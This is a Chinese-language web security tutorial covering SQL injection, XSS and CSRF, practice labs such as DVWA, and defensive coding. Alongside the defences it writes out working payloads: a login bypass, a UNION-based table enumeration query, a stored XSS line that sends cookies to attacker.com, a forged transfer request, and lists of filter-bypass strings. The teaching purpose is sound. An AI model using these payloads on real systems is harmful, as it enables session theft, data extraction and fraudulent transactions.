ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Web安全三大经典攻击:SQL注入、XSS与CSRF详解

Web安全三大经典攻击:SQL注入、XSS与CSRF详解

1. 网络攻防技术全景图:从脚本小子到安全专家的必经之路

刚入行网络安全时,我最困惑的就是各种攻击手法之间的关系。就像学武术要先了解不同流派的特点,掌握网络攻防也得先建立完整的认知框架。常见的网络攻击技术主要分为三大类:针对Web应用的攻击、系统层攻击和社会工程学攻击。其中Web安全领域的SQL注入、XSS、CSRF堪称"三大经典",也是各类渗透测试和CTF比赛的高频考点。

去年给某电商平台做安全审计时,仅用基础的SQL注入就发现了7个高危漏洞。攻击者完全可以通过这些漏洞获取整个数据库的用户信息,包括明文存储的密码(是的,2023年还有公司用明文存密码)。这让我意识到,很多企业不是不知道这些攻击手法,而是缺乏系统性的认知。

2. Web安全三大经典攻击手法详解

2.1 SQL注入:数据库的"万能钥匙"

SQL注入的原理简单得令人害怕——把用户输入直接拼接到SQL语句中执行。比如登录场景的SQL可能是:

SELECT * FROM users WHERE username='输入的用户名' AND password='输入的密码'

如果用户在用户名输入admin'--,整个SQL就变成了:

SELECT * FROM users WHERE username='admin'--' AND password='任意密码'

--在SQL中是注释符,这意味着攻击者不用知道密码就能以管理员身份登录。

实战技巧:

  • 使用'和"测试输入过滤
  • 通过AND 1=1和AND 1=2判断注入点
  • 信息收集常用语句:
    UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

重要提示:永远不要用字符串拼接方式构造SQL语句!所有现代语言都提供了参数化查询接口。

2.2 XSS:前端界的"寄生虫"

跨站脚本攻击(XSS)就像在网页里植入寄生虫。我曾在某论坛发现存储型XSS漏洞,攻击者可以在帖子内容中插入:

<script>new Image().src="http://attacker.com/steal?cookie="+document.cookie</script>

所有查看该帖子的用户会话都会被窃取。

XSS三种类型对比:

类型触发方式持久性典型案例
反射型恶意链接点击非持久钓鱼邮件中的链接
存储型服务端存储持久论坛帖子内容
DOM型前端渲染非持久单页应用URL参数

防御方案:

// Spring Boot中配置全局XSS过滤器 @Bean public FilterRegistrationBean<XssFilter> xssFilter() { FilterRegistrationBean<XssFilter> registration = new FilterRegistrationBean<>(); registration.setFilter(new XssFilter()); registration.addUrlPatterns("/*"); return registration; }

2.3 CSRF:冒充用户的"提线木偶"

CSRF攻击就像操控提线木偶。假设银行转账接口是:

GET /transfer?to=攻击者&amount=10000

如果用户已登录银行网站,攻击者只需在第三方网站插入:

<img src="http://bank.com/transfer?to=攻击者&amount=10000">

防御方案对比:

方案实现方式优缺点
Token验证每次请求携带随机token安全但实现复杂
SameSite Cookie设置Cookie属性简单但浏览器兼容问题
二次验证关键操作需再次认证安全但影响用户体验

3. 从入门到精通的实战路线图

3.1 环境搭建:你的第一个"黑客实验室"

新手建议从这些工具开始:

  • XAMPP:一键搭建PHP+MySQL环境
  • DVWA:专为安全测试设计的漏洞演练平台
  • Burp Suite Community:抓包改包神器
  • OWASP ZAP:自动化扫描工具

在Windows 10上配置DVWA的常见问题:

  1. 文件权限问题:将dvwa/config/config.inc.php.dist复制为.inc.php
  2. 数据库连接失败:检查config.inc.php中的数据库密码是否与MySQL一致
  3. 安全级别设置:在DVWA Security中调整难度等级

3.2 靶场实战:从简单到企业级

新手必练的五个靶场:

  1. DVWA(Damn Vulnerable Web App)

    • 包含从Low到Impossible四个难度级别
    • 特别适合练习SQL注入和XSS
  2. Pikachu

    • 中文漏洞演示环境
    • 覆盖CSRF、文件包含等更多漏洞类型
  3. PortSwigger Academy

    • 配套Burp Suite的在线实验室
    • SQL注入主题包含18个渐进式挑战
  4. WebGoat

    • OWASP维护的JavaEE应用
    • 每个漏洞都有详细教学指导
  5. Juice Shop

    • 现代JavaScript应用
    • 包含100多个不同难度的flag

3.3 漏洞挖掘实战方法论

SQL注入审计流程:

  1. 寻找所有用户输入点(URL参数、表单、Headers)
  2. 测试特殊字符过滤(', ", , %, #, --)
  3. 判断错误回显(报错注入关键)
  4. 尝试布尔盲注AND 1=1/AND 1=2
  5. 获取数据库信息(version(), database())
  6. 提取表名和字段名(information_schema)
  7. 导出目标数据(UNION SELECT)

XSS漏洞挖掘技巧:

  • 测试所有富文本编辑器
  • 检查JSONP回调参数
  • 尝试SVG文件上传
  • 测试HTML5新特性(如autofocus事件)
  • 绕过过滤的常用payload:
    <img src=x onerror=alert(1)> <svg/onload=alert(1)>

4. 防御体系构建:从代码到架构

4.1 安全编码规范

Java SQL注入防御:

// 错误示范 String query = "SELECT * FROM users WHERE username = '" + username + "'"; // 正确做法(使用PreparedStatement) PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE username = ?"); stmt.setString(1, username);

前端XSS防御:

// 使用DOMPurify过滤HTML import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(dirtyHTML); // React默认防御XSS const safeHTML = {__html: sanitizedContent}; return <div dangerouslySetInnerHTML={safeHTML} />;

4.2 架构级安全方案

Web应用防火墙(WAF)规则示例:

SecRule REQUEST_FILENAME "@contains login.php" \ "chain,id:1001,deny,status:403" SecRule ARGS:username "@detectSQLi" \ "t:none,t:urlDecode"

API安全增强措施:

  1. 严格的Content-Type检查
  2. JWT签名验证
  3. 速率限制(如1分钟最多5次登录尝试)
  4. 请求指纹校验
  5. 敏感操作二次认证

5. 常见问题与排查指南

SQL注入绕过技巧:

  • 注释符替换:--→#→/*注释*/
  • 字符串拼接:'or 1=1→'||1=1
  • 十六进制编码:admin→0x61646d696e
  • 空白符替换:空格 →/**/→%0a

XSS过滤器绕过方法:

  • 大小写混淆:<sCriPt>alert(1)</scRipt>
  • 编码绕过:<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
  • 利用HTML5特性:<details/open/ontoggle=alert(1)>

CSRF防御失效场景:

  1. Token泄露通过XSS
  2. JSON接口未验证Content-Type
  3. 子域名可控导致的SameSite绕过
  4. GET请求修改状态

6. 学习资源与进阶路径

推荐学习路线:

  1. 基础网络知识(HTTP/TCP/IP)
  2. 掌握至少一门编程语言(Python/PHP/Java)
  3. 系统学习OWASP Top 10
  4. 参与CTF比赛和漏洞赏金计划
  5. 深入研究特定领域(如IoT/区块链安全)

必备工具清单:

  • 代理工具:Burp Suite、Charles
  • 漏洞扫描:Nessus、OpenVAS
  • 密码破解:Hashcat、John the Ripper
  • 网络分析:Wireshark、Tcpdump
  • 漏洞利用:Metasploit、Cobalt Strike

在DVWA中练习时,我建议先自己尝试破解,再看源码学习防御方法。比如完成SQL注入挑战后,对比Impossible级别的代码:

$stmt = $pdo->prepare("SELECT * FROM users WHERE user = ? AND password = ?"); $stmt->execute([$user, $pass]);

这才是真正安全的写法。

返回列表